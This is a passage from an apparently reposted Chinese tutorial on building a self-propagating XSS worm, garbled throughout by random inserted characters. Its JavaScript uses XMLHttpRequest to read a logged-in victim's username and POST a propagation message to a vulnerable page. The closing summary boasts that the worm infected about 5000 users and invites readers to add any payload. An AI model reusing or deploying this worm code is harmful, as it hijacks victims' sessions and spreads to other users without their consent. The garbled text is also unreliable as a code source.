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( b6 u8 u8 F. D) ?+ e: axmlHttpReq.setRequestHeader("content-length",post.length); + f" `/ ^; C4 b
8 s/ G- m" ~4 S8 [6 ExmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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1 S" M* R: Y$ ^1 @# @xmlHttpReq.send(post);
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: [6 B6 m, d, g复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{) Z1 d9 F/ c; G8 h% @
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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+ r$ h- f3 D$ Qvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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9 L: ~8 F- U5 P7 t2 ]! qvar post="wd="+wd;' \8 y C7 P& {9 a/ H
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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( N, b( \5 h C! c( dxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");: I4 G. s7 b- j
) Q i: }1 b- ^ H9 F- OxmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");; V& \; }' ?6 S, ~' I9 \
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xmlHttpReq.send(post); //把传播的信息 POST出去.8 e0 I* e, D# r: [
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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g) ]+ A" l! O- S本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
8 `$ P: @( E. ? y1 C5 i" I- h蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
- M% }0 [8 P# S' S" h1 r% G操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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- ]0 o# `1 J- k6 T本文引用文档资料:
8 [$ r+ I* V1 H2 t4 \# W! c7 B m$ n' N( N$ c, t5 _) J& T; k3 l6 H
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)/ T+ \, D: T% T' P
Other XmlHttpRequest tricks (Amit Klein, January 2003)9 a+ V* T: {0 L1 o ]! E) U
"Cross Site Tracing" (Jeremiah Grossman, January 2003)% ~6 B( ^8 J7 j- G( g! G' Z) h2 Q- j
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
/ p$ T% \7 K/ E! t6 ?空虚浪子心BLOG http://www.inbreak.net. @3 p$ b- T2 d3 W, B
Xeye Team http://xeye.us/! g4 C! }- I& C% o3 M
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